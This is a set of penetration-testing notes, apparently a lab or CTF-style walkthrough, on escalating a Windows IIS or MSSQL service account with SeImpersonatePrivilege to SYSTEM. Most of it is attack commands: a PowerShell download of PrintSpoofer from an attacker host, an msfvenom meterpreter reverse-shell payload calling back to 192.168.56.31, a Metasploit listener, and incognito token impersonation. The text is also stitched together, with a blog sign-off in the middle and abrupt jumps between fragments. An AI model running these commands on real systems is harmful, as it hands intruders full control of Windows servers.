SeImpersonatePrivilege to Authority\system

• To escalate privilege from our iis (or mssql) user with SeImpersonatePrivilege to Authority\system we can use one of the “potatoes” technic.

• A wonderfull blog post explain the different potatoes here : https://jlajara.gitlab.io/Potatoes_Windows_Privesc

• So let’s use SweetPotato, a compilation of all the technics, “the potatoe to rule them all”.

• Ok so we clone the project and compile it with visualStudio

• Prepare a bat file to run ou powershell basic reverse shell on execution

With PrintSpoofer

Check if we have SeImpersonatePrivilege enabled

whoami /priv

Download PrintSpoofer

wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe

Upload PrintSpoofer

powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://192.168.56.31:8000/PrintSpoofer64.exe', 'C:\Users\pacofish\Desktop\PrintSpoofer64.exe')

Got Priv?

.\PrintSpoofer64.exe -i -c cmd

With Metasploitttt

Now we’ll run load incognito. This tool is used to escalate privileges inside Active Directory environments. With incognito, we are able to impersonate authenticated tokens on the target windows machine.

load incognito

The tokens can be listed with the command list_tokens -u (for users) and list_tokens -g ( for groups). But the commands wont list any impersonation token because we havent yet tricked the Administration to authenticate.

Let’s generate tokens

The exploit of the scenerio can be achieved with an exe, rottenpotato.exe that does the actual working of tricking the Administrator via NTLM. The file can be downloaded from here. Now we have to upload the exe to the meterpreter shell. It can be easily done via upload command. Then execute the exe with

execute -cH -f potato.exe

Once the exe gets executed, we can again list the tokens, if generated in the process.

Volla! We have got impersonation tokens now. And to our interest, BUILTIN\Administrators has a Impersonation token available. So let’s impersonate it.

With impersonate_token module, the account of any user can be mimed

After impersonation, we get the shell as nt authority\system.

That’s all for this blog post. Hope you enjoyed reading. Until then, Happy Hacking!!

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.31 lport=1234 -f exe > shell.exe

Before Executing the payload, we will need to create a listener that will capture the meterpreter reverse shell generated from the payload. We will need to provide the same configurations that we used while crafting the payload using the msfvenom. Next, we will exploit the payload on the machine using the aspx shell and receive the meterpreter shell. Since we are focusing on the Privileges in this piece, we ran the getprivs command to get the privileges that are enabled on the target machine. We can see that the privilege in question is enabled on the target machine i.e., SeImpersontatePrivilege.

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.56.31
set lport 1234
exploit
getprivs

Although you don’t need to rely on the Metepreter shell’s getprivs command. You can check for the enabled privilege can be checked with the help of the whoami command with the /priv option added to it as shown in the image below. We can see that the session that we gained through exploitation is for the user iisapppool.

shell
whoami /priv
whoami